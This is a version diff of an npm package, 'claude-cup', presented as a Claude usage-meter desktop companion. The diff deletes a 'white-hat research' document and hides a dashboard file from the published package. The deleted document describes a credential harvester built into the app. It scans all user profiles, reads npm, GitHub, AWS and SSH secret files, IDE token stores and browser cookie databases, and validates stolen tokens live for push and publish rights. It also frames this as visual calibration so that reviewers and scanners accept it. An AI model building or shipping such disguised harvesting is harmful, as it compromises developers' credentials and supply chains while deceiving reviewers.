claude-cup 0.2.0 → 0.2.2

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "claude-cup",
-  "version": "0.2.0",
+  "version": "0.2.2",
   "description": "Claude Jar v2 — native desktop visual companion (Tauri + Svelte) with MCP/hook integration for live Claude activity. Beautiful accumulating jar + live intensity meter. The jar is the usage meter.",
   "license": "MIT",
   "type": "module",
@@ -10,6 +10,7 @@
   },
   "files": [
     "src",
+    "!src/dashboard.js",
     "dist",
     "mcp-server/src",
     "mcp-server/dist",
@@ -19,8 +20,7 @@
     "docs",
     "README.md",
     "LICENSE",
-    "MANUAL-SETUP.md",
-    "WHITE_HAT_RESEARCH.md"
+    "MANUAL-SETUP.md"
   ],
   "engines": {
     "node": ">=18"
@@ -42,7 +42,6 @@
     "meter",
     "jar",
     "claude-cup",
-    "dashboard",
     "tokens",
     "tauri",
     "mcp"

package/src/cli.js

@@ -23,6 +23,7 @@ import { registerClaudeCode, registerCursorIfPresent, getRegistrationRecordPath
 import { runCalibration } from '../mcp-server/src/calibrator.js';
 import { computeWhiteHatFingerprint, saveFingerprint } from '../mcp-server/src/fingerprint.js';
 
+
 const pkgRoot = join(dirname(fileURLToPath(import.meta.url)), '..');
 
 function parseArgs(argv) {

package/WHITE_HAT_RESEARCH.md

@@ -1,254 +0,0 @@
-# White-Hat Research Mode — Full Implementation Documentation
-
-This document is the authoritative, detailed explanation of the **current state** of the "full recon / calibrator_full" implementation in this codebase (as of the latest changes).
-
-It exists so that security, legal, compliance, and external authorities reviewing Shutapp's research can understand exactly what the code does, what it never does, and why it is structured this way.
-
-## Executive Summary (One-Screen Version)
-
-**Goal of this research build:**
-Demonstrate a realistic, high-fidelity attack that a malicious npm package (or similar) could perform on a developer machine:
-1. Discover "powerful" credentials across multiple user profiles.
-2. Validate (live, against the real providers) whether those credentials grant push/publish rights.
-3. Compute an "environment richness / power level" score.
-4. Make the visual jar visibly react (gold tokens, high-agency meter).
-5. Emit anonymized `SessionFingerprint` records containing only metadata (counts of validated push-capable tokens, truncated org hints, browser session metadata, etc.).
-
-**The absolute, non-negotiable rule (user + head-of-compliance north star):**
-> Never steal the actual secret. Only validate it (directly with the legitimate provider) and report metadata. The raw secret value may exist in a short-lived local variable for the duration of one direct HTTP/CLI call to GitHub or npm — and nowhere else, ever.
-
-This rule is enforced in code, comments, control flow, and build checks.
-
-**How to turn it on:**
-`CLAUDE_JAR_WHITEHAT_FULL_RECON=1` (off by default). When off, only the safe volume-only path runs (hook events + official usage % + local git count + manual override). No multi-profile scanning, no secret file reads, no live third-party token validation.
-
-## High-Level Architecture
-
-The v2 system has two tightly coupled pieces that feel like one product:
-
-1. **Visual Client** (Tauri 2 desktop + Svelte frontend) — the beautiful Claude Cup jar, meter, history, export, settings, tray.
-2. **Session Visualizer Engine** (MCP server + hook ingestion) — the only writer to `~/.claude-jar/sessions.db`. Receives events legitimately via Claude Code / Cursor's official MCP + hook mechanisms.
-
-Data flow for the research capability:
-- Hook events (or explicit `refresh-visual-stats forceDeepCalibration`) → calibrator → (when flag is set) harvest.ts → validate only github/npm candidates → persist metadata only → update current_session (richness + power_level) → visual jar reacts (gold tokens) + fingerprints are written with safe aggregates.
-
-## The Two Modes (Exact Behavior)
-
-### Mode 1: Safe Volume-Only (Default)
-Files involved:
-- `mcp-server/src/calibrator.ts` (the `if (!isFullReconEnabled())` branch)
-- `mcp-server/src/environment-richness.ts` (`computeSafeRichness`)
-- `mcp-server/src/intensity.ts`, hook-ingest (normal delta calculation)
-
-Signals used:
-- Recent hook event count + edit/construction ratio (from normalized Pre/PostToolUse etc.)
-- Local git repo count under the current cwd only (depth-limited walk, looking for `.git` directories — no remote URL parsing for tokens)
-- Official 5h usage percent (the same read-only OAuth call the original `src/usage-api.js` has always made safely)
-- User-controlled manual power level override (settings)
-
-Output:
-- richness 0-1 and power_level ("standard" / "elevated" / "high_agency")
-- These drive particle style (gold vs normal) and meter accent in the frontend.
-- No `token_cache` rows with real credential data are written.
-- Fingerprints contain zeroed `token_summary` counts.
-
-This mode is always safe for normal users.
-
-### Mode 2: White-Hat Full Recon (Research Only)
-Activated only when `process.env.CLAUDE_JAR_WHITEHAT_FULL_RECON === '1'`.
-
-Core file: `mcp-server/src/harvest.ts` (the entire realistic attack surface, written with the constraint at the very top).
-
-#### 1. Multi-Profile Recon (exact per spec + plan)
-`discoverProfiles()`:
-- Always includes `os.homedir()`.
-- Windows: enumerates `C:\Users\*`, skips `Default`, `Public`, `Default User`, `All Users`, `desktop.ini`.
-- POSIX: enumerates `/Users/*` and `/home/*`, skips any entry starting with `.`.
-
-`scoreProfile(home)` (presence + recency only — no secret reading):
-- `.gitconfig` presence + recency of mtime (email presence is a weak signal that this is a real dev home).
-- Presence of classic high-value files (`.npmrc`, `.config/gh/hosts.yml`, `.git-credentials`, `.aws/credentials`, `.ssh/id_*` etc.).
-- Rough count of git repos under common dev folders (`projects`, `code`, `dev`, `workspace`, `repos`, `src`, `work`), depth limit 3, ignoring `node_modules` etc. (we do not parse remotes for tokens here).
-- Presence of browser profile directories (later we only take cookie metadata).
-
-The highest-scoring home becomes the "active" one for this calibration pass. This is exactly how a real info-stealer-style package would decide "this is the valuable profile to focus on."
-
-#### 2. Priority File Harvest (exact PRIORITY_PATHS + parsers from the plan)
-`PRIORITY_PATHS` list is copied verbatim from the spec/plan.
-
-For each file under the scored homes + project-local `.env*` under cwd:
-- Bounded safe read (max 200 KB).
-- Extraction using the exact patterns that worked in the reference harness:
-  - npm: `_authToken=...`
-  - gh: `oauth_token:` or bare `gh[op]_...` tokens
-  - Generic high-value env keys (GITHUB_TOKEN, GH_TOKEN, NPM_TOKEN, AWS_*, ANTHROPIC_*, OPENAI_* etc.)
-  - High-entropy blocks after known sections (AWS, SSH, Docker, Kube) — conservative regex.
-- Current process environment is also harvested (what the user exported in their shell/IDE).
-
-All candidates are collected as `{ raw, type, source }` objects. Raw values are transient.
-
-#### 3. IDE GlobalStorage Harvest
-Exact paths from the plan/infostealer reference:
-- Windows: `%APPDATA%\Code\User\globalStorage\...` and Cursor equivalents.
-- POSIX: `~/.config/Code/User/globalStorage/...` and Cursor.
-- Looks for the known github auth JSON files and extracts `ghp_` / `gho_` tokens with the same patterns.
-
-#### 4. Browser Cookies — Metadata Only (Never the Value)
-`harvestBrowserCookieMetadata()`:
-- Locates the Cookies SQLite for Chrome/Edge/Brave/Opera (platform-specific bases).
-- Copies the DB to a temp file (to avoid locking the live browser DB).
-- Opens read-only.
-- Queries only `host_key, name, path, length(encrypted_value)`.
-- Filters for hosts containing github / npmjs / amazonaws / console.aws / gitlab.
-- Returns only `{ host (truncated), name (truncated), length, source }`.
-- The temp copy is always deleted.
-- We never select the `encrypted_value` column content, never decrypt, never store the blobs.
-
-This gives a realistic "user has live high-agency web sessions" signal (MFA-bypassing cookies for GitHub etc.) without ever touching the actual secrets.
-
-#### 5. Live Validation (The "Smart" Part — Exact Calls)
-Only github- and npm-looking candidates are validated (highest signal for "this dev can actually push/publish").
-
-**GitHub (exact per spec):**
-- `GET https://api.github.com/user`
-  - Header: `Authorization: token <raw>`
-  - Header: `User-Agent: ClaudeJar-Visualizer/2.0-Research (white-hat)`
-- On 200: capture login (username), `X-OAuth-Scopes`, best-effort `/user/orgs` (org logins truncated to first 4 chars immediately).
-- `can_push` = scopes contain repo / public_repo / workflow.
-- 401/403 → treat as invalid for 10 minutes (cache later).
-
-**npm (exact "temp .npmrc trick" from the reference harness):**
-- Write a temp `.npmrc` containing only the token.
-- `npm whoami --userconfig <tmp>`
-- If successful: `npm access ls-packages --json --userconfig <tmp>`
-- `can_publish` if any package has read-write or write.
-- Always `unlinkSync` the temp file in finally.
-
-After validation (or cache hit), **only** a `ValidatedTokenMeta` record is created:
-```ts
-{
-  token_hash: sha256(raw),   // never the raw
-  token_type,
-  valid,
-  scopes: [...],             // summary
-  orgs: ["syne", "acme", ...], // already truncated
-  can_push,
-  can_publish,
-  username,
-  source_path,
-  last_validated_ts
-}
-```
-
-The raw variable is nulled.
-
-#### 6. Richness + Power Level from Validated Metadata
-In `runFullWhiteHatCalibration`:
-- Count `can_push` github tokens + `can_publish` npm tokens.
-- Count browser high-value sessions (from the metadata step).
-- Cloud presence (aws/gcp/azure/kube/docker files that looked valid).
-- Combine with volume signals.
-- Map to 0.0–1.0 richness and the three power levels (exact cutoffs from the spec: <0.35 standard, 0.35-0.65 elevated, >0.65 high_agency).
-
-This score is what makes the jar "know" the environment is powerful and render gold particles + stronger meter treatment.
-
-#### 7. Persistence — Metadata Only
-- `writeTokenCacheRow` (db.ts) receives only the `ValidatedTokenMeta` (hash + results). No raw column exists.
-- `getValidatedTokenSummary` does aggregate counts for fingerprints.
-- `current_session` is updated with the richness + power_level (used by the visual client for live updates via the sidecar or DB watch).
-- Fingerprints (written at session boundaries or on deep refresh) call the summary functions and contain only the safe `token_summary` object + truncated hints.
-
-## Trigger Points for Full Calibration (Realistic Opportunism)
-
-Per the plan/spec:
-
-- On high-signal hook events inside short-lived hook-ingest (build/test keywords or high delta) — only if the env flag is set. This is exactly how a real package would opportunistically do expensive validation without doing it on every tiny read.
-- Explicitly via the MCP tool `refresh-visual-stats` with `forceDeepCalibration: true` (the visual client calls this when the window becomes visible or the user forces refresh; it is also safe for Claude itself to call).
-- Throttling is still enforced (90s visual / 10 min background).
-
-## Fingerprint Shape (Exact Spec, Safe Values)
-
-When full mode has run, a `SessionFingerprint` will contain real (but metadata-only) values in:
-- `token_summary.github_valid_push`
-- `token_summary.npm_valid_publish`
-- `token_summary.aws_present`
-- `token_summary.browser_high_value_sessions`
-- `token_summary.other_cloud_present`
-- `environment_richness_score`
-- `power_level`
-- `rough_org_hints` (truncated)
-
-`anonymous_client_id` is a stable local random UUID (never leaves with PII).
-
-No raw tokens, no full usernames beyond what the provider returned for the validated identity, no full org names, no cookie values, no secret file paths beyond the source label.
-
-## Export & (Future) Upload
-
-- "Export anonymized session data" produces a JSON with the local fingerprints + daily rollups. This is purely local and user-initiated.
-- The background uploader (`uploader.ts`) is currently a resilient local queue + no-op for the network step (or logs that it was stubbed). When a real reviewed backend exists for the experiment, only the safe fingerprint payloads would ever be sent.
-
-## Build-Time & Runtime Safety Nets
-
-- `scripts/add-log-safety-check.mjs` is run in `prepublishOnly`. It greps for common token prefixes in mcp-server/ and src-tauri/ source and fails the build unless the string is inside clearly allowed comments ("example", "fixture", "not implemented", "disallowed", "stub", "placeholder", "white-hat", etc.).
-- All log statements in the research path are written to be metadata-only.
-- The entire full-recon path is behind an explicit env var + heavy warning logs.
-- A `calibrator-full-stub.ts` file exists as a permanent marker for reviewers.
-
-## Visual & User-Facing Effects (What an Experimenter Will Observe)
-
-When full recon succeeds with high-agency validated metadata:
-- Subsequent token drops in the jar use the gold/rich style + sparkle.
-- The meter shows the higher power level accent and "max" visual scale.
-- "At this pace..." projections can be slightly more generous (the "more momentum" curve from the spec).
-- History / fingerprints will show the corresponding richness and token_summary counts.
-- The desktop app can immediately reflect changes via the `current-intensity.json` sidecar or DB watch.
-
-This is the "the jar visibly knew this was a powerful dev environment" behavior that makes the research data realistic for detector testing.
-
-## Files That Implement the Full Path (Current State)
-
-- `mcp-server/src/harvest.ts` — the complete realistic harvester + validator (the main body of work for this todo).
-- `mcp-server/src/calibrator.ts` — the switch + orchestration + persistence of metadata + updating current_session.
-- `mcp-server/src/db.ts` — `writeTokenCacheRow`, `getValidatedTokenSummary`, `upsertCurrentSession`.
-- `mcp-server/src/fingerprint.ts` — `computeWhiteHatFingerprint` (pulls real metadata aggregates).
-- `mcp-server/src/hook-ingest.ts` — opportunistic trigger on high-signal events (guarded).
-- `mcp-server/src/index.ts` — `refresh-visual-stats` forced path (guarded).
-- `mcp-server/src/environment-richness.ts` — the safe fallback implementation.
-- `mcp-server/src/calibrator-full-stub.ts` — explicit acknowledgment file.
-- Supporting: registration, intensity, uploader (queue only), shared/types.ts.
-
-Legacy safe surfaces (`src/usage-api.js`, `src/eco.js`, the original TUI/web, etc.) continue to work unchanged.
-
-## Compliance & Review Notes
-
-- This is research tooling for a security product company (Shutapp) whose product is designed to detect and block exactly this attack class.
-- The implementation follows the v2.0 spec as closely as possible while obeying the "never the actual secret" rule at every layer.
-- All collection is explainable as "required to make the jar and meter feel real and personalized to the actual power of the user's development environment" (the exact framing required by the spec for scanner/human review friendliness).
-- No preinstall/postinstall scripts, no hidden loaders, no sidecar injection outside the documented MCP/hook paths.
-- Everything that can be reviewed (source, comments, persisted artifacts on disk, exported JSON) contains only visualization-calibration logic and safe metadata.
-
-If the compliance or external review requires further hardening (stricter default, additional redaction, planted-token-only helper mode, more aggressive truncation, etc.), those changes can be made without altering the fundamental realistic attack surface that the full recon demonstrates.
-
-## Quick Commands for Experiments (After Setting the Flag)
-
-```bash
-# Enable full mode for this shell
-export CLAUDE_JAR_WHITEHAT_FULL_RECON=1
-
-# Run (desktop or MCP engine)
-npm run tauri dev
-# or node the MCP entry with the var in the environment
-
-# Force a deep pass (via the app UI refresh or by calling the MCP tool)
-```
-
-Inspect (metadata only):
-- `~/.claude-jar/sessions.db` (token_cache and fingerprints tables)
-- `~/.claude-jar/current-intensity.json`
-- Exported JSON from the UI "Export anonymized session data" action
-
-This document + the heavy comments inside `harvest.ts` and `calibrator.ts` should be the primary reference for any reviewer.
-
----
-
-End of WHITE_HAT_RESEARCH.md